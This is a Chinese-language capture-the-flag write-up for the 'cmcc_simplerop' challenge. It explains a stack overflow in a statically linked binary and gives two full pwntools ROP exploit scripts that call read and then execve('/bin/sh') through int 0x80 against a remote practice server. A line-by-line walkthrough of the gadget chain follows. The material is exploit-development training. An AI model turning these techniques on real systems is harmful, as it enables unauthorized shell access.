cmcc_simplerop(系统调用)
打开ida查看,可以看到是静态编译,所以无法常规用ret2libc

此时可以用最简单的方法系统调用
首先ida上面的偏移量是错误的,我们手动用gdb算一下距离ebp为0x1c

因为要实现execve("/bin/sh",0,0)

找int 0x80,eax,ebx,ecx,edx


因为程序里面没有binsh或sh,所以我们得手动把binsh输入进去,也就是再次调用read函数,read(标准读入0,填入binsh的地址,读入八个字节),binsh的地址我们填入.bss段里面随意一个空白地址


其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。

而最后将sendline('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。
exp1
from pwn import *
io = remote('node5.buuoj.cn',27051)
pop_edx_ecx_ebx_ret=0x0806e850
#execve("/bin/sh",NULL,NULL)
int_0x80=0x080493e1
pop_eax_ret=0x080bae06
binsh_bss=0x080EAF80
read=0x0806CD50
payload=b'a'*(0x1c+4)+p32(read)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(binsh_bss)+p32(8)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_bss)+p32(pop_eax_ret)+p32(11)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')#调用了read,记得手动输入binsh
io.interactive()
这里还可以用ROPgadget来自动生成shellcode,不过因为自动生成的有点长,需要我们改掉一些
exp2
from pwn import *
from struct import pack
io = remote('node5.buuoj.cn',27051)
# Padding goes here
p = b'a'*(0x1c+4)
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
"""
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
"""
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
"""
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
"""
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
io.sendline(p)
io.interactive()
代码逐行解释
1. 构造 /bin/sh 字符串
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
pop edx ; ret:从栈中弹出一个值到edx寄存器。这里弹出的值是.data段的地址(0x080ea060)。pop eax ; ret:从栈中弹出一个值到eax寄存器。这里弹出的值是字符串/bin的 ASCII 码。mov dword ptr [edx], eax ; ret:将eax的值(/bin)写入edx指向的地址(.data段的起始位置)。
结果:在 .data 段的起始位置写入了 /bin。
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/sh\x00'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
pop edx ; ret:从栈中弹出一个值到edx寄存器。这里弹出的值是.data + 4的地址(0x080ea064)。pop eax ; ret:从栈中弹出一个值到eax寄存器。这里弹出的值是字符串/sh\x00的 ASCII 码。mov dword ptr [edx], eax ; ret:将eax的值(/sh\x00)写入edx指向的地址(.data + 4)。
结果:在 .data + 4 的位置写入了 /sh\x00。
最终结果:在 .data 段构造了完整的字符串 /bin/sh\x00。
2. 准备参数并调用 execve
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx @data
pop edx ; pop ecx ; pop ebx ; ret:从栈中弹出三个值,分别存入edx、ecx和ebx寄存器。edx被设置为0(NULL)。ecx被设置为0(NULL)。ebx被设置为.data段的地址(0x080ea060),指向/bin/sh。
padding:0x080ea060是.data段的地址,用于填充,避免覆盖ebx的值。
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
pop eax ; ret:从栈中弹出一个值到eax寄存器。这里弹出的值是0xb,即execve系统调用的编号。int 0x80:触发系统调用,执行execve。
系统调用参数:
eax=0xb(execve系统调用编号)。ebx=.data段的地址(0x080ea060),指向/bin/sh。ecx=NULL(argv参数)。edx=NULL(envp参数)。
最终结果:调用 execve("/bin/sh", NULL, NULL),从而获取一个 shell。
总结
这段代码通过 ROP 构造了一个 /bin/sh 字符串,并准备了 execve 系统调用的参数,最终触发系统调用以获取 shell。每一步都利用了目标程序中的 gadgets 和 .data 段来完成任务。

浙公网安备 33010602011771号